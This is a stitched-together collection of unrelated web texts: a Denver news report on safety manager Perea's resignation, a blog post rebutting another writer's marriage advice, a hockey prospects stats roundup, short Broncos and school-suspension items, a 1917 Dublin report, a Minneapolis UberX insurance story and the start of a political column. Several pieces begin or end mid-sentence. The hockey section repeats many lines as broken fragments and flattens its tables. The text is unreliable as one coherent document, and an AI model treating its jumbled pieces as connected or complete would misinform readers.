After a meeting Monday afternoon between Perea and Mayor John Hickenlooper, Perea returned to his office at the downtown police headquarters and told confidants that he had resigned.
“I appreciate the opportunity to serve as manager of safety for the city and county of Denver,” he said in a handwritten note on the mayor’s stationery. “I respectfully tender my resignation effective August 31, 2010.”
Later in the afternoon, the mayor’s office sent out a news release announcing the resignation. The mayor, in a later news conference, said Perea resigned voluntarily.
Hickenlooper said Perea told him he didn’t feel he could build trust with the public given the controversy his decisions had created.
“Once he put it it in that context, it was hard to argue with,” Hickenlooper said. “It would be very difficult to rebuild after all the events of the last four or five days. It would be very hard to rebuild that trust.”
The police department last week announced it would reopen an internal investigation into a case in which officers accused of covering up the LoDo beating were docked three days’ pay by Perea. Hickenlooper requested the FBI review the officers’ actions after the video was widely circulated on news stations and the Internet.
City Councilwoman Judy Montero, who last week demanded that Perea reverse one of his discipline decisions or resign, said she thought Perea did the right thing by resigning.
“We as a community, a diverse community, had worked so hard for so many years building that trust with law enforcement, and it was diminishing so quickly,” Montero said. “Now it’s time to start rebuilding.”
The mayor said that Police Chief Gerry Whitman had assured him that incidents of police brutality were isolated.
“Our police department is not out of control, and day in and day out our officers are doing everything they can to keep our city safe, and they certainly are respecting the rights and liberties of all of our citizens,” the mayor said.
Perea did not respond to requests for comment.
Earlier Monday, Perea moved to rescind his earlier discipline order suspending police Officer Eric Sellers 45 days without pay for beating a young man who had complained when Sellers declined to press charges against a man who hit the 23-year-old. Perea had suspended Sellers for “inappropriate force” and “commission of a deceptive act.”
Both the city attorney’s office and Independent Monitor Richard Rosen thal, who reviews investigations into alleged police misconduct, had warned Perea he needed to undo what they viewed as light discipline for Sellers because they feared it would undermine a new discipline system the city took six years to put in place.
In that case, Perea found Sellers lied about his actions, cause for “presumptive termination” under the new guidelines. But Perea found mitigating circumstances, because the case languished under previous safety manager Al LaCabe.
Rosenthal and the city attorney’s office feared that if Perea’s decision stood, the police union would be able to appeal discipline decisions based on the length of time it took to complete investigations into alleged wrongdoing.
The mayor brushed aside concerns from union officials that it had taken LaCabe too long to decide how to handle the controversial abuse cases.
He said LaCabe had worked 60 to 70 hours a week and had put his “heart and soul” into making the city safer.
LaCabe declined to comment for this story.
David Bruno, a lawyer for the Denver Police Protective Association, decried the moves to rescind the discipline of Sellers and to reopen the investigation of Officer Devin Sparks and Cpl. Randy Murr in the LoDo beating case.
Bruno said that in more than 30 years of representing police officers, he had never seen discipline decisions reversed by a safety manager.
He said the public should question whether “the outcry of special interests or the media” was controlling the outcome of those cases.
“My fear is that either a citizen or an officer will now be hurt if an officer hesitates in the slightest degree to do what he believes is appropriate in the circumstance without the cloud of fear that behind him is the monitor dictating what the monitor, as an armchair quarterback, believes 20 months later is appropriate conduct,” Bruno said.
Perea will spend his final days on the job working on finalizing budgets for the city’s police, fire and sheriff departments, Hickenlooper said. He has no discipline cases pending.
The mayor said he is appointing Deputy Safety Manager Mary Malatesta as interim safety manger until a replacement can be found. She will handle the final discipline decisions for Devin, Murr and Sellers.
https://www.facebook.com/photo.php?fbid=10151735776813486&set=a.81166678485.79418.696628485&type=1&theater
I’m not divorced, nor do I have any plans to be, but I thought I would give my perspective on Gerald’s advice, and then offer my own advice for married women who would like to stay that way.
MARRIAGE ADVICE I WISH I WOULD HAVE HAD:
Obviously, I’m not a relationship expert. But there’s something about my divorce being finalized this week that gives me perspective of things I wish I would have done different… After losing a woman that I loved, and a marriage of almost 16 years, here’s the advice I wish I would have had…
1) Never stop courting. Never stop dating. NEVER EVER take that woman for granted. When you asked her to marry you, you promised to be that man that would OWN HER HEART and to fiercely protect it. This is the most important and sacred treasure you will ever be entrusted with. SHE CHOSE YOU. Never forget that, and NEVER GET LAZY in your love.
Oh dear. Courting, dating and taking for granted are all different things. Life doesn’t always leave room for courting and dating, neither of which has anything to do with taking someone for granted. You should not be asking your husband to PROVE his love to you, over and over again. He has already proven it. It happened the day you got married. What you SHOULD do is be grateful. Say thank you. Acknowledge all the little and big things he does for you. And make sure you reciprocate. Don’t keep score. Life is long and it will all balance out in the long run, which is what you are in for.
And most importantly, understand that men and women show their love in different ways. Women tend to like to talk about it. Men tend to show it. Neither is better than the other. Don’t try to bend him to your way of communicating. Listen to the love, even if it’s silent.
http://judgybitch.com/2012/11/07/men-talk-about-their-feelings-all-the-time-they-just-dont-use-words/
2) PROTECT YOUR OWN HEART. Just as you committed to being the protector of her heart, you must guard your own with the same vigilance. Love yourself fully, love the world openly, but there is a special place in your heart where no one must enter except for your wife. Keep that space always ready to receive her and invite her in, and refuse to let anyone or anything else enter there.
Okay, sure. Protect your own heart. But at the same time, don’t make the mistake of thinking your husband will be the one person to fulfil all your needs, and all your desires. The only person who can do that, ultimately is YOU. There will be many passions in your life that come and go, and some of those you will share with your husband, and some you won’t. That’s okay.
http://judgybitch.com/2013/04/05/husband-%E2%89%A0-friend/
I think one of the biggest myths we cherish about love and marriage is that there is one, and only one person meant just for us. That really doesn’t make any sense. There are 7 billion people on the planet! The idea that only one of those humans is the perfect match for you is nonsensical. You are both going to meet people with whom you feel a spark, a connection, a sense of compatibility and mutual attraction.
So what? Accept that there are many, many people with whom you could create a happy, harmonious life, and then let it go.
You’ve made your choice. Whatever problems you are experiencing at any given time, whatever part of you is going unfulfilled or unsatisfied, understand that trading in for a new partner won’t change that. You’ll just have new problems.
3) FALL IN LOVE OVER and OVER and OVER again. You will constantly change. You’re not the same people you were when you got married, and in five years you will not be the same person you are today. Change will come, and in that you have to re-choose each other everyday. SHE DOESN’T HAVE TO STAY WITH YOU, and if you don’t take care of her heart, she may give that heart to someone else or seal you out completely, and you may never be able to get it back. Always fight to win her love just as you did when you were courting her.
No. I hate this. Marriage is not and should not be conditional on how you happen to feel at any given moment. Yes, you will both change. People change. Marriage vows are about navigating those changes together. As one. Even the not so great changes.
…to have and to hold from this day forward, forsaking all others, for better or for worse, for richer, for poorer, in sickness and in health, to love and to cherish; from this day forward until death do us part
4) ALWAYS SEE THE BEST in her. Focus only on what you love. What you focus on will expand. If you focus on what bugs you, all you will see is reasons to be bugged. If you focus on what you love, you can’t help but be consumed by love. Focus to the point where you can no longer see anything but love, and you know without a doubt that you are the luckiest man on earth to be have this woman as your wife.
Again, I disagree completely. Make a list of all the shit that drives you absolutely nuts about him! The things you want to kill him for! The stuff that makes you scream and want to tear out your hair! The things he does that makes you take stock of just where the knives are.
And now, for every item on your list, write down the shit that YOU do that makes him go insane. For every irritating, annoying, infuriating, frustrating thing that he does, I guarantee you, you do something equally exasperating.
http://judgybitch.com/2013/03/05/yes-i-take-my-husband-for-granted-what-do-you-want-anyways-a-standing-ovation-every-day/
And then laugh about it. Humans are annoying. Everyone has their own quirks and foibles and idiosyncrasies and all those things tend to annoy the shit out of the people they have to live with. That’s just life. You don’t need to ignore the fact that your husband irritates the shit out of you on occasion. Just keep in mind that you yourself return the favor.
No one is perfect. There is no need to pretend they are.
5) IT’S NOT YOUR JOB TO CHANGE OR FIX HER… your job is to love her as she is with no expectation of her ever changing. And if she changes, love what she becomes, whether it’s what you wanted or not.
Yeah, I agree with this one. Don’t expect your partner to change, but at the same time, know that he will. It’s not up to you to decide how or when or in what direction he changes. And if you don’t like the change, talk about it with him, but understand that the tables will turn soon enough, and it will be him not terribly happy with how you have changed.
6) TAKE FULL ACCOUNTABILITY for your own emotions: It’s not your wife’s job to make you happy, and she CAN’T make you sad. You are responsible for finding your own happiness, and through that your joy will spill over into your relationship and your love.
These things are not mutually exclusive. Yes, it is your husband’s job to make you happy and he most certainly CAN make you sad. And yes, it is YOUR job to make him happy, and you most certainly can also make him sad.
But that’s not the same thing as saying ALL your happiness will come from your partner. It won’t. A marriage in which both partners are devoted to making the other person happy is a joy indeed. That’s really the key to how you make a marriage work. You make your husband’s happiness YOUR priority and he makes YOUR happiness his. That’s how the whole deal works. That doesn’t mean you turn yourself into a self-sacrificing martyr dragging the burden of other people’s well-being like a cross through life. Nonsense.
Making the people you love happy is what will make YOU happy. It’s not just true for the people you love, either. Making other people happy is what makes us happy. It makes us human.
http://www.huffingtonpost.com/2013/07/30/helping-others-happy-altruism-work_n_3672477.html
7) NEVER BLAME your wife If YOU get frustrated or angry at her, it is only because it is triggering something inside of YOU. They are YOUR emotions, and your responsibility. When you feel those feelings take time to get present and to look within and understand what it is inside of YOU that is asking to be healed. You were attracted to this woman because she was the person best suited to trigger all of your childhood wounds in the most painful way so that you could heal them… when you heal yourself, you will no longer be triggered by her, and you will wonder why you ever were.
You were attracted to this woman because she was the person best suited to trigger all of your childhood wounds in the most painful way so that you could heal them
Yikes! Well, that certainly wasn’t the reason I chose my husband, and I’m almost sad to read that Gerald chose a woman that brought back all the pain of his childhood. I understand how the wounds of childhood can be painful, and that relationships can indeed help to heal them, but I personally found that I let go of all the pain of my own blighted childhood by being the kind of mother I never had.
http://judgybitch.com/2013/06/16/first-i-feared-him-then-i-loathed-him-then-i-forgave-him-and-now-i-take-care-of-him-the-story-of-my-father-and-me/
I can understand marrying someone like your opposite sex parent if that relationship was principally loving and affectionate, but on the whole, I don’t think I would advise anyone to marry someone who triggers pain and a sense of being wounded.
8) Allow your woman to JUST BE. When she’s sad or upset, it’s not your job to fix it, it’s your job to HOLD HER and let her know it’s ok. Let her know that you hear her, and that she’s important and that you are that pillar on which she can always lean. The feminine spirit is about change and emotion and like a storm her emotions will roll in and out, and as you remain strong and unjudging she will trust you and open her soul to you… DON’T RUN-AWAY WHEN SHE’S UPSET. Stand present and strong and let her know you aren’t going anywhere. Listen to what she is really saying behind the words and emotion.
This is really beautiful, and absolutely true for women, too. When your husband is upset, it’s your job to hold him and let him know that everything is okay. Sometimes you will need to be the pillar on which your husband can lean. All too often, I think women don’t truly appreciate that men can be floored by an emotional reaction. Men can receive staggering blows. Men have all the same emotions and reactions and feelings as women, as sometimes those will be overwhelming.
Don’t run away or act disgusted when confronted by your husband’s emotions. Don’t be afraid of anger or physical expressions of inner states of being. When women get really angry or upset, they tend to cry. When men get really angry or upset, they like to kill things in virtual reality. One isn’t better than another. And both are felt with equal depth. Don’t sneer at how your husband expresses his emotions.
http://gamepolitics.com/2010/07/12/study-playing-violent-games-helps-stress-and-depression#.UhyzB9KR-So
9) BE SILLY… don’t take yourself so damn seriously. Laugh. And make her laugh. Laughter makes everything else easier.
Absolutely. But if your idea of a laughter filled weekend involves a Benny Hill/Three Stooges marathon, maybe give your wife a pass to go to a period costume drama at the theatres with her friends?
Just a thought.
10) FILL HER SOUL EVERYDAY… learn her love languages and the specific ways that she feels important and validated and CHERISHED. Ask her to create a list of 10 THINGS that make her feel loved and memorize those things and make it a priority everyday to make her feel like a queen.
Aww. This is sweet. Make sure you do the exact same for your husband. He will have a love language all his own, and a list of specific things that makes him feel loved and cherished. Be the Queen. Absolutely. Don’t be a Princess. A Princess is a spoiled brat who thinks Daddy should give her everything she wants by simple virtue of existence. A Queen knows that she has a job: she rules a realm with a King at her side. She has privileges and rights, and she knows they come with responsibilities and obligations. You can’t have one without the other.
That’s a marriage.
11) BE PRESENT. Give her not only your time, but your focus, your attention and your soul. Do whatever it takes to clear your head so that when you are with her you are fully WITH HER. Treat her as you would your most valuable client. She is.
Oh god no. This comes across as way too much attention. Life has so much drudgery and routine and things that just need to get done and sometimes the loveliest feeling in the world is just getting through the work knowing the other person is there. He doesn’t have to be the sole focus of your whole life, nor do you have to clear your mind so you can focus only on him, him, him.
And please don’t think of your husband as your most valuable client. Your marriage is not a transactional relationship. Viewing your partner as a client to whom you are obliged to deliver services reduces the whole relationship to one of functionality. And when the relationship doesn’t function any more?
You replace it.
Marriage isn’t a commercial relationship. Don’t turn it into one.
12) BE WILLING TO TAKE HER SEXUALLY, to carry her away in the power of your masculine presence, to consume her and devour her with your strength, and to penetrate her to the deepest levels of her soul. Let her melt into her feminine softness as she knows she can trust you fully.
Ladies, be willing to be taken sexually, to be carried away in his masculine presence, to be consumed and devoured with strength, to be penetrated to the deepest levels of your soul. And be willing to return the favor.
Again, make his pleasure your primary goal, and let him make your pleasure his. It reinforces how the whole relationship works.
13) DON’T BE AN IDIOT…. And don’t be afraid of being one either. You will make mistakes and so will she. Try not to make too big of mistakes, and learn from the ones you do make. You’re not supposed to be perfect, just try to not be too stupid.
Yep. Good advice. Just try not to be too stupid.
14) GIVE HER SPACE… The woman is so good at giving and giving, and sometimes she will need to be reminded to take time to nurture herself. Sometimes she will need to fly from your branches to go and find what feeds her soul, and if you give her that space she will come back with new songs to sing…. (okay, getting a little too poetic here, but you get the point. Tell her to take time for herself, ESPECIALLY after you have kids. She needs that space to renew and get re-centered, and to find herself after she gets lost in serving you, the kids and the world.)
Yes. Very true. And remember that sometimes your husband will have those moments when he feels like nothing more than a walking wallet. Like an ATM machine whose purpose in life is to grind out cash and hand it over. Of course, you are all living in the same life, and all benefitting from everyone’s work, but that doesn’t mean he won’t occasionally feel like his usefulness boils down to a number on an IRS form.
Be sensitive to those moments. Make sure your husband knows he is more than just a tool the family uses to survive. Set aside money just for him to spend on what he likes, and make no comments. Give him time and space to go and be the man he is, and not just an instrument you find particularly useful.
15) BE VULNERABLE… you don’t have to have it all together. Be willing to share your fears and feelings, and quick to acknowledge your mistakes.
Yep. Every one screws up. Say you’re sorry. And when it’s his turn to fuck up and ask for forgiveness, be gracious, accept the apology and then let it go. Don’t bear grudges. You screw up, too. If he screws up big time, consider it money in the bank for some future transgression on your part.
(I’m kidding!)
16) BE FULLY TRANSPARENT. If you want to have trust you must be willing to share EVERYTHING… Especially those things you don’t want to share. It takes courage to fully love, to fully open your heart and let her in when you don’t know i she will like what she finds… Part of that courage is allowing her to love you completely, your darkness as well as your light. DROP THE MASK… If you feel like you need to wear a mask around her, and show up perfect all the time, you will never experience the full dimension of what love can be.
Again, the alternative to wearing a mask and pretending to be perfect is not complete transparency. I don’t need to know everything going on in my husband’s mind. Jesus. I don’t want to! And I’m pretty sure he would go insane in about five minutes if I shared everything going on in my mind with him.
Somethings are better left unsaid. Somethings are just things you THINK. No need to share. Again, think about his happiness. Will telling him X or Y add to that happiness or detract? Make his happiness your priority and text your girlfriends about your frustrations.
17) NEVER STOP GROWING TOGETHER… The stagnant pond breeds malaria, the flowing stream is always fresh and cool. Atrophy is the natural process when you stop working a muscle, just as it is if you stop working on your relationship. Find common goals, dreams and visions to work towards.
Yes. This. No matter what life brings, what changes come your way, you find a way to work together. Til death do you part.
18) DON’T WORRY ABOUT MONEY. Money is a game, find ways to work together as a team to win it. It never helps when teammates fight. Figure out ways to leverage both persons strength to win.
Well, you can worry about money, but don’t fight about it. Fights over money are apparently a huge source of conflict in a lot of marriages. I would seriously consider NOT marrying someone if you can’t agree on the ground rules for how to manage money.
http://economix.blogs.nytimes.com/2009/12/07/money-fights-predict-divorce-rates/
19) FORGIVE IMMEDIATELY and focus on the future rather than carrying weight from the past. Don’t let your history hold you hostage. Holding onto past mistakes that either you or she makes, is like a heavy anchor to your marriage and will hold you back. FORGIVENESS IS FREEDOM. Cut the anchor loose and always choose love.
This is probably the key thing Gerald gets right. And of course the biggest thing to forgive in any marriage is infidelity. Some people consider infidelity a deal breaker. Have sex outside the marriage and the marriage is over. I don’t take that stance at all. My principal interest would be in what motivated the infidelity.
Sex on the side, as a little entertainment, is annoying and I wouldn’t be especially pleased about that, but I wouldn’t end my marriage over it either. I have made it clear to my husband that if he IS going to have sex with someone other than me, he chooses a professional. For one thing, the risk of disease is considerably lower.
http://maggiemcneill.wordpress.com/2011/06/24/dirty-whores/
And the risk of pregnancy and other emotional complications is also much, much lower.
My strategy for keeping my husband faithful is to have a lot of sex with him. Leave him with no energy or desire to consider professional alternatives. Seems to be working.
Sex with another woman he loves would be a much bigger problem. I personally would still not end our marriage over that kind of infidelity, because we have children and I am not going to punish them because I have neglected my husband to the point that he has a full emotional relationship with someone else.
That kind of infidelity would indeed be very troubling, but I would accept partial responsibility for that scenario, and turn my attention towards working on our own relationship, and that wouldn’t be possible without forgiveness.
Gerald is right. Forgive. And forget. And then work on what led to the problem in the first place.
20) ALWAYS CHOOSE LOVE. ALWAYS CHOOSE LOVE. ALWAYS CHOOSE LOVE. In the end, this is the only advice you need. If this is the guiding principle through which all your choices is governed, there is nothing that will threaten the happiness of your marriage. Love will always endure.
As long as “always choose love” means “put the other person first” then I agree. But that MUST be reciprocal. If he is not going to put you first, not going to forsake all others, not going to make you his priority, then you are wasting your time and your life.
And so is any man. None of us exist to be a tool for others to use. It’s absolutely true that marriage works best when the other person is the top priority, but if the feelings and actions are not returned, the relationship is just an elaborate exploitation of one person by another.
And the sad reality is that marriage really has become a vehicle for one person to exploit another, until they get tired and decide to trade in. What I take away from Gerald’s post is that he deeply regrets not supplicating his entire personality and needs to the woman he loved. That may be cruel, but it’s the feeling I am left with. There is so little sense in his writing that any of their marital problems were caused by her. It feels like he accepts complete and total blame.
There’s something heroic in that.
And something bitter, too.
Everyone knows that ultimately, marriage is a gamble. There are no guarantees. But when the odds are stacked so horribly against you, why would you take the risk at all? In my opinion, Gerald’s advice doesn’t help, over all. Encouraging men to yield everything they can to women, without insisting that women yield the same to men, is only handing women a sword.
That tends not to work out very well.
I gave ’em a sword. And they stuck it in, and they twisted it with relish. And I guess if I had been in their position, I’d have done the same thing.
Richard M. Nixon
Why would a man fight a battle he knows he can’t win?
Lots of love,
ice happening, but on the ice a number of
prospects are injured and two will not return for the season.
Continue past the jump for all your prospect news and stats!
Ontario Hockey League
Name Pos DOB Age Team GP G A P PPG +/- PIM NHLe Cole Cassels C 5/4/1995 19 Oshawa 39 20 41 61 1.56 24 79 38 Jared McCann C 5/31/1996 18 Sault Ste. Marie 40 22 32 54 1.35 12 21 33 Jordan Subban D 3/15/1995 19 Belleville 46 18 19 37 0.80 -8 50 20 Evan McEneny D 5/22/1994 20 Kingston 46 4 26 30 0.65 -1 44 16 Kyle Pettit C 1/18/1996 19 Erie 44 13 7 20 0.45 -3 6 11 Miles Liberati D 6/21/1995 19 North Bay 46 6 15 21 0.46 12 33 11
Cole Cassels skated in 3 games this week scoring 2 goals and
earning 3 assists alongside a +2 and 6 PIM.
He is currently ranked 12th in OHL scoring.
earning 3 assists alongside a +2 and 6 PIM. He is currently ranked 12th in OHL scoring. Jared McCann has played in 2 games this week
scoring 2 goals, and 2 assists, alongside a +5.
He is sitting at 21st in OHL scoring.
scoring 2 goals, and 2 assists, alongside a +5. He is sitting at 21st in OHL scoring. Jordan Subban played in 3 games scoring 1 goal, earning a -6
and 4 PIMs. He is ranked 8th
for defencemen scoring and 1st on his team in points. No word on an entry-level contract yet for Subban.
and 4 PIMs. He is ranked 8th for defencemen scoring and 1st on his team in points. No word on an entry-level contract yet for Subban. Evan McEneny skated in 3 games and scored 2 assists and
earned 4 PIMs.
earned 4 PIMs. Kyle Pettit played in 3 games and scored 1 assist.
Miles Liberati had a good week scoring 1 goal and 2 assists
in 3 games good for a +1 and 4 PIMs.
Western Hockey League
Name Pos DOB AGE Team GP G A P PPG +/- PIM NHLe Jake Virtanen LW 8/17/1996 18 Calgary 29 14 23 37 1.28 14 46 27 Anton Cederholm D 2/21/1995 19 Portland 50 6 5 11 0.22 7 66 5 MacKenze Stewart D 8/10/1995 19 Prince Albert 45 2 5 7 0.16 -6 92 3
Jake “Showtime” Virtanen had a great week, in 2 games he
scored 1 goal and 5 assists, earning a +4 and 2 PIM.
scored 1 goal and 5 assists, earning a +4 and 2 PIM. Anton Cederholm played in 3 games scoring 1 assist and
earning a +3.
earning a +3. MacKenze Stewart skated in 2 games this week earning 15 PIM.
NCAA
Name Pos DOB AGE School GP G A P PPG +/- S S/G Sh% PIM NHLe Patrick McNally D 12/4/1991 23 ECAC / Harvard 15 4 12 16 1.07 14 40 2.67 10.00% 6 36 Ben Hutton D 4/20/1993 21 Hockey East / Maine 28 5 9 14 0.50 -9 79 2.82 6.33% 8 17 Joseph LaBate F 4/16/1993 21 Big 10 / Wisconsin 22 5 8 13 0.59 -12 57 2.59 8.77% 36 20 Matthew Beattie F 12/14/1992 22 ECAC / Yale 15 0 2 2 0.13 4 17 1.13 0.00% 4 4 Mike Williamson D 9/5/1993 21 Big 10 / Penn State 10 0 1 1 0.10 -1 12 1.20 0.00% 8 3
Patrick McNally has
hurt his leg and will not play in a game again this season. He does have a year left of eligibility and
may return to the NCAA for a 5th year, but that does not bode well
for his chances of NHL success.
hurt his leg and will not play in a game again this season. He does have a year left of eligibility and may return to the NCAA for a 5th year, but that does not bode well for his chances of NHL success. Ben Hutton played in 2 games this week and notched 9 shots
on goal and a -2. Hutton posts a team 3rd
worst +/-, suggesting a possible low on-ice PDO this year.
on goal and a -2. Hutton posts a team 3rd worst +/-, suggesting a possible low on-ice PDO this year. Joseph LaBate played in 2 games scoring 1 goal and 1 assist,
earning 9 shots on goal and a +1.
earning 9 shots on goal and a +1. Matthew Beattie has not played for another week – he is most
likely injured but I cannot find any sources confirming this.
likely injured but I cannot find any sources confirming this. No games for Mike Williamson again this week – he is likely
injured, but equally like to have been a healthy scratch.
Name Pos DOB Age School GP Assists Mins GA GAA Record Svs Sv% Thatcher Demko G 12/8/1995 19 H-East / Boston College 23 2 1387 48 2.08 14-7-2 615 92.76%
Thatcher Demko played in 1 game this week making 23 of 25
saves good for a .920 save percentage.
Demko is sitting at a .928 save percentage on the year good for 16th
in the NCAA.
Europe
Name Pos DOB AGE Team GP G A P PPG +/- SOG SOG/G Sh% PIM TOI NHLe Nikita Tryamkin D 8/4/1994 20 KHL / Avtomobilist 49 1 4 5 0.10 4 52 1.06 1.92% 33 14:29 7
Nikita Tryamkin played in 3 games this past week scoring 1
assist, earning a +3, 2 PIM, 2 shots on
goal playing an average of just less than 14 minutes a game.
ECHL
ECHL Pos DOB AGE Team GP G A P PPG +/- SOG S/G Sh% PIM Curtis Valk C 2/8/1993 21 Kalamzoo Wings 31 11 19 30 0.97 8 78 2.52 14.10% 12 Ludwig Blomstrand LW 3/8/1993 21 Kalamzoo Wings 25 10 10 20 0.80 -1 61 2.44 16.39% 14 Dane Fox F 10/13/1993 21 Kalamzoo Wings 36 13 10 23 0.64 -3 85 2.36 15.29% 53 Jeremie Blain D 3/19/1992 22 Kalamzoo Wings 25 3 9 12 0.48 1 48 1.92 6.25% 20
Curtis
Valk is injured and will not play again
this season. It sounds like he has a
6 month recovery time, just in time for the annual Canucks prospects camp in Penticton.
Valk is injured and will not play again this season. It sounds like he has a 6 month recovery time, just in time for the annual Canucks prospects camp in Penticton. Dane Fox has to pick up the offensive slack in
Kalamazoo. This week he played in 2
games, scored 2 goals, earned a -2, notched 7 shots and 5 PIMs.
Kalamazoo. This week he played in 2 games, scored 2 goals, earned a -2, notched 7 shots and 5 PIMs. Ludwig Blomstrand remains injured and did not play this
week.
week. Jeremie Blain played in 2 games earning a +1, 4 PIMS, and 3
shots on goal.
shots on goal. Mitch Holmberg played 3 games this week and did not score a
point, earning a -3 and 4 shots on goal.
point, earning a -3 and 4 shots on goal. Patrick Kennedy played in 3 games scoring 1 goal and 1
assist while earning 6 PIMs and 15 shots on goal.
Name Pos DOB Age Team GP Mins GA GAA Record Svs Sv% SO Joe Cannata G 1/2/1990 25 Ontario Reign 17 1030 35 2.04 10-5-0-2 447 92.74% 1
Joe Cannata
started in 2 games this week making 25 of 26 saves and 30 of 34 saves. He is sitting with a .927 save percentage and
Enter receiver Emmanuel Sanders.
“I’m going to talk to ‘Joe-D’ and see what we have to do about it and if they want me back there then I’m going to get back there,” Sanders said Monday, referring to Joe DeCamillis, the team’s special teams coordinator. “I think Kalif Raymond and I still have complete confidence in Jordan. Those guys can get the job done, but if they want me to do it I’ll do it.”
Raymond was mysteriously inactive against New England last week after handling return duties the week before. Broncos coach Gary Kubiak was hesitant to say anyone but Norwood would handle returns going forward.
“I have a lot of confidence in Jordan,” Kubiak said Monday. “I’m disappointed that he didn’t handle the ball well. Obviously that was a few weeks ago, too. He has to handle the ball better, but he’s also made some big plays for this team.
“I’m the guy that put him back there. I believe in him. I think he’s done a lot of good things for this team. I’m going to battle with guys. That was me giving him the opportunity to do it. We just have to do it better.”
In his career, Sanders has returned 34 punts for 289 yards with two fumbles. Norwood has returned 35 punts for 290 yards with six fumbles. Raymond has returned six punts for 61 yards and has not yet fumbled.
Robin Ficker, the attorney hired by J.B. Welch, father of Park Elementary School student Josh Welch, said he filed an appeal Thursday with Anne Arundel County schools Superintendent Kevin Maxwell to have the two-day suspension from March 1 expunged from the 7-year-old's record, The Baltimore Sun reported Tuesday.
Ficker said keeping the suspension on the boy's record could hurt him later in school.
"Who knows what doubt he's not going to be given the benefit of later?" Ficker asked.
Bob Mosier, a spokesman for Anne Arundel County Public Schools, said the appeal is being reviewed.
Dublin, 19 June 1917 - There were scenes of jubilation at Westland Row train station yesterday where thousands gathered to greet the released Republican prisoners, arriving home from prisons throughout England.
The crowd had been gathering at the station for hours to meet the 117 prisoners who had been arrested in the aftermath of the Easter Rising. Recognisable in the crowd were mothers, sisters and widows of the executed rebel leaders.
Among those released were Countess Markievicz and Count Plunkett, the latter of whom had only been arrested and jailed earlier this month. Countess Markievicz was accompanied by Kathleen Lynn, Helena Molony and Marie Perolz who had all travelled to Britain to escort her home.
Other senior figures released included Eoin MacNeill, Eamon de Valera, Thomas Ashe and Cathal Brugha.
The journey home
The prisoners were brought from Parkhurst, Maidstone, Portland and Lewes prisons to Pentonville in London, before being put about a special train leaving Euston Station.
While in Pentonville Prison, some of the prisoners located the grave of Sir Roger Casement and knelt and prayed there for some time. Some took away with them pieces of the sod that covered the remains as mementos.
The returnees arrived in Holyhead at 1.30am, and as they disembarked from the train at the port they sang 'The Soldier’s Song', and were arranged in military order by Mr de Valera before setting sail for home.
British government statement
The British government minister Andrew Bonar Law, speaking in the House of Commons, remarked that the release was intended to facilitate an ‘atmosphere of harmony and goodwill’ ahead of the Convention of Irishmen to decide how the country is to be administered into the future.
Mr Bonar Law stated that, in releasing the prisoners, the Government had satisfied itself ‘in the first place, that the public security will not be endangered by such an act of grace; and, secondly, that in none of the cases concerned is there evidence that participations in the rebellion was accompanied by individual acts which would render such a display of clemency impossible’.
This amnesty, which follows an earlier release on Christmas Eve last year, means that all of those arrested due to their involvement in the Rising have now been freed.
The state’s top insurance regulator is warning the city about “unacceptable” gaps in app-based transportation company insurance coverage after reviewing a policy from UberX.
Minneapolis enlisted the help of Tim Vande Hey, the deputy commissioner for insurance in the Minnesota Department of Commerce, as it crafts new regulations governing companies like Lyft and UberX.
Those “transportation network companies,” which allow people to essentially become chauffeurs of their personal vehicles, are currently operating illegally in Minneapolis since city regulators say they must be licensed as taxicabs under existing ordinances.
In a letter to the city, Vande Hey said the commerce department believes “there are significant gaps in insurance for both the drivers, passengers and pedestrians using TNCs.” In a separate consumer alert, the department said users of the apps should carefully check both personal policies and those held by companies like Lyft and UberX.
“Finding out after-the-fact that you have gaps in coverage can mean serious financial devastation,” said commerce commissioner Mike Rothman. “Take steps now, ahead of time, to ensure you have the coverage you need.”
At issue is how the UberX commercial insurance interacts with the personal policies held by the drivers. UberX has said the policy, provided by James River Insurance Company, “supplements a driver’s personal auto insurance” and can also become primary insurance if the personal insurance does not apply. Read the full policy here.
But Vande Hey noted that commercial auto insurance was not intended to be supplemental to an existing personal auto policy.
“Commerce recommends that the TNC obtain a commercial auto policy that provides first dollar coverage adequate for the needs of their drivers and customers with no expected reliance or subrogation attempts with the TNC driver’s personal auto coverage,” Vande Hey wrote, adding that the lack of adequate coverage exposes drivers, passengers and other drivers to “unacceptable gaps.”
Just when the commercial insurance policies kick in is relevant, as a recent fatality involving an UberX driver and a 6-year-old girl demonstrated in San Francisco. A proposed city ordinance says the policies must be in effect for all drivers “active on the TNC dispatch system,” which includes when drivers are logged in on the app, have a passenger in the car or are en route to pick up a passenger.
Kenny Tsai, UberX’s general manager in the Minneapolis market, said that they have requested a meeting with the commerce department to discuss their review of the insurance program. He said their coverage meets and exceeds Minnesota standards, and there is additional coverage that the department did not review.
“The coverage is excess to the driver’s own policy, but it acts as primary insurance if the driver’s policy is not available for any reason, covering from the first dollar,” Tsai wrote in an e-mail.
Vande Hey expressed concern that James River is non-admitted, or not expressly licensed, by the state. That could expose drivers or passengers to risk if the company cannot meet its financial obligations. Tsai said the company was rated A- by A.M. Best, a rating agency.
The UberX policy does not include personal injury protection endorsements, Vande Hey wrote, nor does it appear to cover collision or comprehensive damages if a car is used as a livery.
Regarding the collision and comprehensive damages, Vande Hey wrote, “It is possible such coverage could be picked up under the Property Damage liability portion, but again it is difficult to determine from the policy specimen provided to the Department.”
The app-based companies have raised the ire of the taxi industry, who complain the city is setting up a two-tier regulation system that is more burdensome on on taxicabs. In response, council members are considering methods of simultaneously relaxing some taxi ordinances.
UberX is distinct from the company’s other offerings, Uber Black and Uber SUV. The latter services use licensed limosine drivers and are subject to different regulations.
Click here to see a comparison of the taxi insurance requirements and those proposed for TNCs.
Below is the full Vande Hey letter, sent to city officials after Tuesday's hearing:
Vande Hey Letter
12 April 2012
Arguably the most noteworthy feature of President Obama’s reelection campaign is its sheer cynicism. Having devoted his entire tenure to protecting and expanding the wealth of the financial elite at the expense of the working population, Obama is now presenting himself as the partisan of the common man and opponent of greed and privilege.
The centerpiece of this charade is the so-called “Buffett rule,” according to which those with incomes over $1 million would pay a minimum tax of 30 percent. Speaking at Florida Atlantic University Tuesday, Obama noted that the top 1 percent in America are paying taxes at the lowest rate in 50 years. He declared that these families should “pay the same percentage of [their] income as middle-class families do.”
Obama feels he is at liberty to make this extremely mild proposal because he knows it will never be implemented. Congressional Republicans would unanimously oppose it, as would a considerable section of Democrats, and he would not fight for it. Even if implemented, it would do nothing to restore a progressive element to the US tax structure, since it rejects the principle that the rich should pay more on their income than everybody else.
Meanwhile, reports emerge virtually every day that document the socially reactionary impact of the policies of the Obama White House and their continuity with the pro-corporate policies of the administration’s Republican predecessor.
